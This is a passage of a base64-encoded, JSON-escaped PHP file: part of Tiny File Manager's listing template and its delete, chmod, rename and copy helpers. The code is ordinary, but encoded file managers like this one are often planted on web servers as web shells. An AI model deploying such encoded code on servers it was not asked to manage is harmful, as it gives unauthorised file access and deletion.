Z3JnaWQoJGdyb3VwX2lkKTtcbiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZ3JvdXBfaW5mbykge1xuICAgICAgICAgICAgICAgICAgICAgICAgICAgICRncm91cCA9ICAkZ3JvdXBfaW5mbztcbiAgICAgICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgICAgICAgICAgICAgICAgICBlcnJvcl9sb2coXCJleGNlcHRpb246XCIgLiAkZS0+Z2V0TWVzc2FnZSgpKTtcbiAgICAgICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgID8+XG4gICAgICAgICAgICAgICAgPHRyPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImN1c3RvbS1jaGVja2JveC10ZFwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjdXN0b20tY29udHJvbCBjdXN0b20tY2hlY2tib3hcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJjaGVja2JveFwiIGNsYXNzPVwiY3VzdG9tLWNvbnRyb2wtaW5wdXRcIiBpZD1cIjw/cGhwIGVjaG8gJGlrID8+XCIgbmFtZT1cImZpbGVbXVwiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoJGYpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxsYWJlbCBjbGFzcz1cImN1c3RvbS1jb250cm9sLWxhYmVsXCIgZm9yPVwiPD9waHAgZWNobyAkaWsgPz5cIj48XC9sYWJlbD5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8XC9kaXY+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD48P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGRhdGEtc29ydD08P3BocCBlY2hvIGZtX2VuYygkZikgPz4+XG4gICAgICAgICAgICAgICAgICAgICAgICA8ZGl2IGNsYXNzPVwiZmlsZW5hbWVcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheShzdHJ0b2xvd2VyKHBhdGhpbmZvKCRmLCBQQVRISU5GT19FWFRFTlNJT04pKSwgYXJyYXkoJ2dpZicsICdqcGcnLCAnanBlZycsICdwbmcnLCAnYm1wJywgJ2ljbycsICdzdmcnLCAnd2VicCcsICdhdmlmJykpKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgJGltYWdlUHJldmlldyA9IGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiPD9waHAgZWNobyAkZmlsZWxpbmsgPz5cIiBkYXRhLXByZXZpZXctaW1hZ2U9XCI8P3BocCBlY2hvICRpbWFnZVByZXZpZXcgPz5cIiB0aXRsZT1cIjw/cGhwIGVjaG8gZm1fZW5jKCRmKSA/PlwiPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbHNlOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIjw/cGhwIGVjaG8gJGZpbGVsaW5rID8+XCIgdGl0bGU9XCI8P3BocCBlY2hvICRmID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpIGNsYXNzPVwiPD9waHAgZWNobyAkaW1nID8+XCI+PFwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbihmbV9lbmMoJGYpKSA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gKCRpc19saW5rID8gJyAmcmFycjsgPGk+JyAuIHJlYWRsaW5rKCRwYXRoIC4gJ1wvJyAuICRmKSAuICc8XC9pPicgOiAnJykgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgICAgICAgICAgPFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDx0ZCBkYXRhLW9yZGVyPVwiYi08P3BocCBlY2hvIHN0cl9wYWQoJGZpbGVzaXplX3JhdywgMTgsIFwiMFwiLCBTVFJfUEFEX0xFRlQpOyA/PlwiPjxzcGFuIHRpdGxlPVwiPD9waHAgcHJpbnRmKCclcyBieXRlcycsICRmaWxlc2l6ZV9yYXcpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyAkZmlsZXNpemU7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC9zcGFuPjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8dGQgZGF0YS1vcmRlcj1cImItPD9waHAgZWNobyAkZGF0ZV9zb3J0aW5nOyA/PlwiPjw/cGhwIGVjaG8gJG1vZGlmID8+PFwvdGQ+XG4gICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKTogPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBpZiAoIUZNX1JFQURPTkxZKTogPz48YSB0aXRsZT1cIjw/cGhwIGVjaG8gJ0NoYW5nZSBQZXJtaXNzaW9ucycgPz5cIiBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NobW9kPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmKSA/PlwiPjw/cGhwIGVjaG8gJHBlcm1zID8+PFwvYT48P3BocCBlbHNlOiA/Pjw/cGhwIGVjaG8gJHBlcm1zID8+PD9waHAgZW5kaWY7ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48P3BocCBlY2hvIGZtX2VuYygkb3duZXJbJ25hbWUnXSAuICc6JyAuICRncm91cFsnbmFtZSddKSA/PjxcL3RkPlxuICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPVwiaW5saW5lLWFjdGlvbnNcIj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGlmICghRk1fUkVBRE9OTFkpOiA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RlbGV0ZScpID8+XCIgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+JmFtcDtkZWw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMDksICc8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgLiAnICcgLiBsbmcoJ0ZpbGUnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj4gPGkgY2xhc3M9XCJmYSBmYS10cmFzaC1vXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ1JlbmFtZScpID8+XCIgaHJlZj1cIiNcIiBvbmNsaWNrPVwicmVuYW1lKCc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKEZNX1BBVEgpKSA/PicsICc8P3BocCBlY2hvIGZtX2VuYyhhZGRzbGFzaGVzKCRmKSkgPz4nKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnQ29weVRvJykgPz4uLi5cIlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUodHJpbShGTV9QQVRIIC4gJ1wvJyAuICRmLCAnXC8nKSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWZpbGVzLW9cIj48XC9pPjxcL2E+XG4gICAgICAgICAgICAgICAgICAgICAgICA8P3BocCBlbmRpZjsgPz5cbiAgICAgICAgICAgICAgICAgICAgICAgIDxhIHRpdGxlPVwiPD9waHAgZWNobyBsbmcoJ0RpcmVjdExpbmsnKSA/PlwiIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9ST09UX1VSTCAuIChGTV9QQVRIICE9ICcnID8gJ1wvJyAuIEZNX1BBVEggOiAnJykgLiAnXC8nIC4gJGYpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1saW5rXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICAgICAgPGEgdGl0bGU9XCI8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKSA/PlwiIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7ZGw9PD9waHAgZWNobyB1cmxlbmNvZGUoJGYpID8+XCIgb25jbGljaz1cImNvbmZpcm1EYWlsb2coZXZlbnQsIDEyMTEsICc8P3BocCBlY2hvIGxuZygnRG93bmxvYWQnKTsgPz4nLCc8P3BocCBlY2hvIHVybGVuY29kZSgkZik7ID8+JywgdGhpcy5ocmVmKTtcIj48aSBjbGFzcz1cImZhIGZhLWRvd25sb2FkXCI+PFwvaT48XC9hPlxuICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICA8XC90cj5cbiAgICAgICAgICAgIDw/cGhwXG4gICAgICAgICAgICAgICAgZmx1c2goKTtcbiAgICAgICAgICAgICAgICAkaWsrKztcbiAgICAgICAgICAgIH1cblxuICAgICAgICAgICAgaWYgKGVtcHR5KCRmb2xkZXJzKSAmJiBlbXB0eSgkZmlsZXMpKSB7ID8+XG4gICAgICAgICAgICAgICAgPHRmb290PlxuICAgICAgICAgICAgICAgICAgICA8dHI+PD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRkPjxcL3RkPjw/cGhwIGVuZGlmOyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/ICc2JyA6ICc0JyA/PlwiPjxlbT48P3BocCBlY2hvIGxuZygnRm9sZGVyIGlzIGVtcHR5JykgPz48XC9lbT48XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocFxuICAgICAgICAgICAgfSBlbHNlIHsgPz5cbiAgICAgICAgICAgICAgICA8dGZvb3Q+XG4gICAgICAgICAgICAgICAgICAgIDx0cj5cbiAgICAgICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz1cImdyYXkgZnMtN1wiIGNvbHNwYW49XCI8P3BocCBlY2hvICghRk1fSVNfV0lOICYmICEkaGlkZV9Db2xzKSA/IChGTV9SRUFET05MWSA/ICc2JyA6ICc3JykgOiAoRk1fUkVBRE9OTFkgPyAnNCcgOiAnNScpID8+XCI+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0Z1bGxTaXplJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuIGZtX2dldF9maWxlc2l6ZSgkYWxsX2ZpbGVzX3NpemUpIC4gJzxcL3NwYW4+JyA/PlxuICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwIGVjaG8gbG5nKCdGaWxlJykgLiAnOiA8c3BhbiBjbGFzcz1cImJhZGdlIHRleHQtYmctbGlnaHQgYm9yZGVyLXJhZGl1cy0wXCI+JyAuICRudW1fZmlsZXMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHAgZWNobyBsbmcoJ0ZvbGRlcicpIC4gJzogPHNwYW4gY2xhc3M9XCJiYWRnZSB0ZXh0LWJnLWxpZ2h0IGJvcmRlci1yYWRpdXMtMFwiPicgLiAkbnVtX2ZvbGRlcnMgLiAnPFwvc3Bhbj4nID8+XG4gICAgICAgICAgICAgICAgICAgICAgICA8XC90ZD5cbiAgICAgICAgICAgICAgICAgICAgPFwvdHI+XG4gICAgICAgICAgICAgICAgPFwvdGZvb3Q+XG4gICAgICAgICAgICA8P3BocCB9ID8+XG4gICAgICAgIDxcL3RhYmxlPlxuICAgIDxcL2Rpdj5cblxuICAgIDxkaXYgY2xhc3M9XCJyb3dcIj5cbiAgICAgICAgPD9waHAgaWYgKCFGTV9SRUFET05MWSk6ID8+XG4gICAgICAgICAgICA8ZGl2IGNsYXNzPVwiY29sLXhzLTEyIGNvbC1zbS05XCI+XG4gICAgICAgICAgICAgICAgPGRpdiBjbGFzcz1cImJ0bi1ncm91cCBmbGV4LXdyYXBcIiBkYXRhLXRvZ2dsZT1cImJ1dHRvbnNcIiByb2xlPVwidG9vbGJhclwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiI1wvc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInNlbGVjdF9hbGwoKTtyZXR1cm4gZmFsc2U7XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1zcXVhcmVcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnU2VsZWN0QWxsJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cIiNcL3Vuc2VsZWN0LWFsbFwiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCIgb25jbGljaz1cInVuc2VsZWN0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXdpbmRvdy1jbG9zZVwiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdVblNlbGVjdEFsbCcpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCIjXC9pbnZlcnQtYWxsXCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIiBvbmNsaWNrPVwiaW52ZXJ0X2FsbCgpO3JldHVybiBmYWxzZTtcIj48aSBjbGFzcz1cImZhIGZhLXRoLWxpc3RcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnSW52ZXJ0U2VsZWN0aW9uJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJkZWxldGVcIiBpZD1cImEtZGVsZXRlXCIgdmFsdWU9XCJEZWxldGVcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdEZWxldGUgc2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlcnM/Jyk7ID8+JylcIj5cbiAgICAgICAgICAgICAgICAgICAgPGEgaHJlZj1cImphdmFzY3JpcHQ6ZG9jdW1lbnQuZ2V0RWxlbWVudEJ5SWQoJ2EtZGVsZXRlJykuY2xpY2soKTtcIiBjbGFzcz1cImJ0biBidG4tc21hbGwgYnRuLW91dGxpbmUtcHJpbWFyeSBidG4tMlwiPjxpIGNsYXNzPVwiZmEgZmEtdHJhc2hcIj48XC9pPiA8P3BocCBlY2hvIGxuZygnRGVsZXRlJykgPz4gPFwvYT5cbiAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJzdWJtaXRcIiBjbGFzcz1cImhpZGRlblwiIG5hbWU9XCJ6aXBcIiBpZD1cImEtemlwXCIgdmFsdWU9XCJ6aXBcIiBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJzw/cGhwIGVjaG8gbG5nKCdDcmVhdGUgYXJjaGl2ZT8nKTsgPz4nKVwiPlxuICAgICAgICAgICAgICAgICAgICA8YSBocmVmPVwiamF2YXNjcmlwdDpkb2N1bWVudC5nZXRFbGVtZW50QnlJZCgnYS16aXAnKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlLWFyY2hpdmUtb1wiPjxcL2k+IDw/cGhwIGVjaG8gbG5nKCdaaXAnKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiaGlkZGVuXCIgbmFtZT1cInRhclwiIGlkPVwiYS10YXJcIiB2YWx1ZT1cInRhclwiIG9uY2xpY2s9XCJyZXR1cm4gY29uZmlybSgnPD9waHAgZWNobyBsbmcoJ0NyZWF0ZSBhcmNoaXZlPycpOyA/PicpXCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLXRhcicpLmNsaWNrKCk7XCIgY2xhc3M9XCJidG4gYnRuLXNtYWxsIGJ0bi1vdXRsaW5lLXByaW1hcnkgYnRuLTJcIj48aSBjbGFzcz1cImZhIGZhLWZpbGUtYXJjaGl2ZS1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ1RhcicpID8+IDxcL2E+XG4gICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJoaWRkZW5cIiBuYW1lPVwiY29weVwiIGlkPVwiYS1jb3B5XCIgdmFsdWU9XCJDb3B5XCI+XG4gICAgICAgICAgICAgICAgICAgIDxhIGhyZWY9XCJqYXZhc2NyaXB0OmRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdhLWNvcHknKS5jbGljaygpO1wiIGNsYXNzPVwiYnRuIGJ0bi1zbWFsbCBidG4tb3V0bGluZS1wcmltYXJ5IGJ0bi0yXCI+PGkgY2xhc3M9XCJmYSBmYS1maWxlcy1vXCI+PFwvaT4gPD9waHAgZWNobyBsbmcoJ0NvcHknKSA/PiA8XC9hPlxuICAgICAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxcL2Rpdj5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMyBkLW5vbmUgZC1zbS1ibG9ja1wiPjxhIGhyZWY9XCJodHRwczpcL1wvdGlueWZpbGVtYW5hZ2VyLmdpdGh1Yi5pb1wiIHRhcmdldD1cIl9ibGFua1wiIGNsYXNzPVwiZmxvYXQtcmlnaHQgdGV4dC1tdXRlZFwiPlRpbnkgRmlsZSBNYW5hZ2VyIDw/cGhwIGVjaG8gVkVSU0lPTjsgPz48XC9hPjxcL2Rpdj5cbiAgICAgICAgPD9waHAgZWxzZTogPz5cbiAgICAgICAgICAgIDxkaXYgY2xhc3M9XCJjb2wtMTJcIj48YSBocmVmPVwiaHR0cHM6XC9cL3RpbnlmaWxlbWFuYWdlci5naXRodWIuaW9cIiB0YXJnZXQ9XCJfYmxhbmtcIiBjbGFzcz1cImZsb2F0LXJpZ2h0IHRleHQtbXV0ZWRcIj5UaW55IEZpbGUgTWFuYWdlciA8P3BocCBlY2hvIFZFUlNJT047ID8+PFwvYT48XC9kaXY+XG4gICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgIDxcL2Rpdj5cbjxcL2Zvcm0+XG5cbjw/cGhwXG5mbV9zaG93X2Zvb3RlcigpO1xuXG5cL1wvIC0tLSBFTkQgSFRNTCAtLS1cblxuXC9cLyBGdW5jdGlvbnNcblxuXC8qKlxuICogSXQgcHJpbnRzIHRoZSBjc3NcL2pzIGZpbGVzIGludG8gaHRtbFxuICogQHBhcmFtIGtleSBUaGUga2V5IG9mIHRoZSBleHRlcm5hbCBmaWxlIHRvIHByaW50LlxuICpcL1xuZnVuY3Rpb24gcHJpbnRfZXh0ZXJuYWwoJGtleSlcbntcbiAgICBnbG9iYWwgJGV4dGVybmFsO1xuXG4gICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRrZXksICRleHRlcm5hbCkpIHtcbiAgICAgICAgZWNobyBcIjwhLS0gRVhURVJOQUw6IE1JU1NJTkcgS0VZICRrZXkgLS0+XCI7XG4gICAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBlY2hvIFwiJGV4dGVybmFsWyRrZXldXCI7XG59XG5cblwvKipcbiAqIFZlcmlmeSBDU1JGIFRPS0VOIGFuZCByZW1vdmUgYWZ0ZXIgY2VydGlmaWVkXG4gKiBAcGFyYW0gc3RyaW5nICR0b2tlblxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiB2ZXJpZnlUb2tlbigkdG9rZW4pXG57XG4gICAgaWYgKGhhc2hfZXF1YWxzKCRfU0VTU0lPTlsndG9rZW4nXSwgJHRva2VuKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBEZWxldGUgIGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSlcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1fcmRlbGV0ZSgkcGF0aClcbntcbiAgICBpZiAoaXNfbGluaygkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIHVubGluaygkcGF0aCk7XG4gICAgfSBlbHNlaWYgKGlzX2RpcigkcGF0aCkpIHtcbiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTtcbiAgICAgICAgJG9rID0gdHJ1ZTtcbiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkge1xuICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICgkb2spID8gcm1kaXIoJHBhdGgpIDogZmFsc2U7XG4gICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGgpKSB7XG4gICAgICAgIHJldHVybiB1bmxpbmsoJHBhdGgpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIFJlY3Vyc2l2ZSBjaG1vZFxuICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICogQHBhcmFtIGludCAkZmlsZW1vZGVcbiAqIEBwYXJhbSBpbnQgJGRpcm1vZGVcbiAqIEByZXR1cm4gYm9vbFxuICogQHRvZG8gV2lsbCB1c2UgaW4gbWFzcyBjaG1vZFxuICpcL1xuZnVuY3Rpb24gZm1fcmNobW9kKCRwYXRoLCAkZmlsZW1vZGUsICRkaXJtb2RlKVxue1xuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghY2htb2QoJHBhdGgsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNobW9kKCRwYXRoIC4gJ1wvJyAuICRmaWxlLCAkZmlsZW1vZGUsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH0gZWxzZWlmIChpc19saW5rKCRwYXRoKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGNobW9kKCRwYXRoLCAkZmlsZW1vZGUpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIENoZWNrIHRoZSBmaWxlIGV4dGVuc2lvbiB3aGljaCBpcyBhbGxvd2VkIG9yIG5vdFxuICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWVcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1faXNfdmFsaWRfZXh0KCRmaWxlbmFtZSlcbntcbiAgICAkYWxsb3dlZCA9IChGTV9GSUxFX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fRklMRV9FWFRFTlNJT04pIDogZmFsc2U7XG5cbiAgICAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pO1xuICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7XG5cbiAgICByZXR1cm4gKCRpc0ZpbGVBbGxvd2VkKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2FmZWx5IHJlbmFtZVxuICogQHBhcmFtIHN0cmluZyAkb2xkXG4gKiBAcGFyYW0gc3RyaW5nICRuZXdcbiAqIEByZXR1cm4gYm9vbHxudWxsXG4gKlwvXG5mdW5jdGlvbiBmbV9yZW5hbWUoJG9sZCwgJG5ldylcbntcbiAgICAkaXNGaWxlQWxsb3dlZCA9IGZtX2lzX3ZhbGlkX2V4dCgkbmV3KTtcblxuICAgIGlmICghaXNfZGlyKCRvbGQpKSB7XG4gICAgICAgIGlmICghJGlzRmlsZUFsbG93ZWQpIHJldHVybiBmYWxzZTtcbiAgICB9XG5cbiAgICByZXR1cm4gKCFmaWxlX2V4aXN0cygkbmV3KSAmJiBmaWxlX2V4aXN0cygkb2xkKSkgPyByZW5hbWUoJG9sZCwgJG5ldykgOiBudWxsO1xufVxuXG5cLyoqXG4gKiBDb3B5IGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkuXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcGFyYW0gc3RyaW5nICRkZXN0XG4gKiBAcGFyYW0gYm9vbCAkdXBkIFVwZGF0ZSBmaWxlc1xuICogQHBhcmFtIGJvb2wgJGZvcmNlIENyZWF0ZSBmb2xkZXIgd2l0aCBzYW1lIG5hbWVzIGluc3RlYWQgZmlsZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9yY29weSgkcGF0aCwgJGRlc3QsICR1cGQgPSB0cnVlLCAkZm9yY2UgPSB0cnVlKVxue1xuICAgIGlmICghaXNfZGlyKCRwYXRoKSAmJiAhaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghZm1fbWtkaXIoJGRlc3QsICRmb3JjZSkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuXG4gICAgICAgICRvYmplY3RzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRwYXRoKSwgWycuJywgJy4uJ10pO1xuXG4gICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KFwiJHBhdGhcLyRmaWxlXCIsIFwiJGRlc3RcLyRmaWxlXCIsICR1cGQsICRmb3JjZSkpIHtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG5cbiAgICByZXR1cm4gZm1fY29weSgkcGF0aCwgJGRlc3QsICR1cGQpO1xu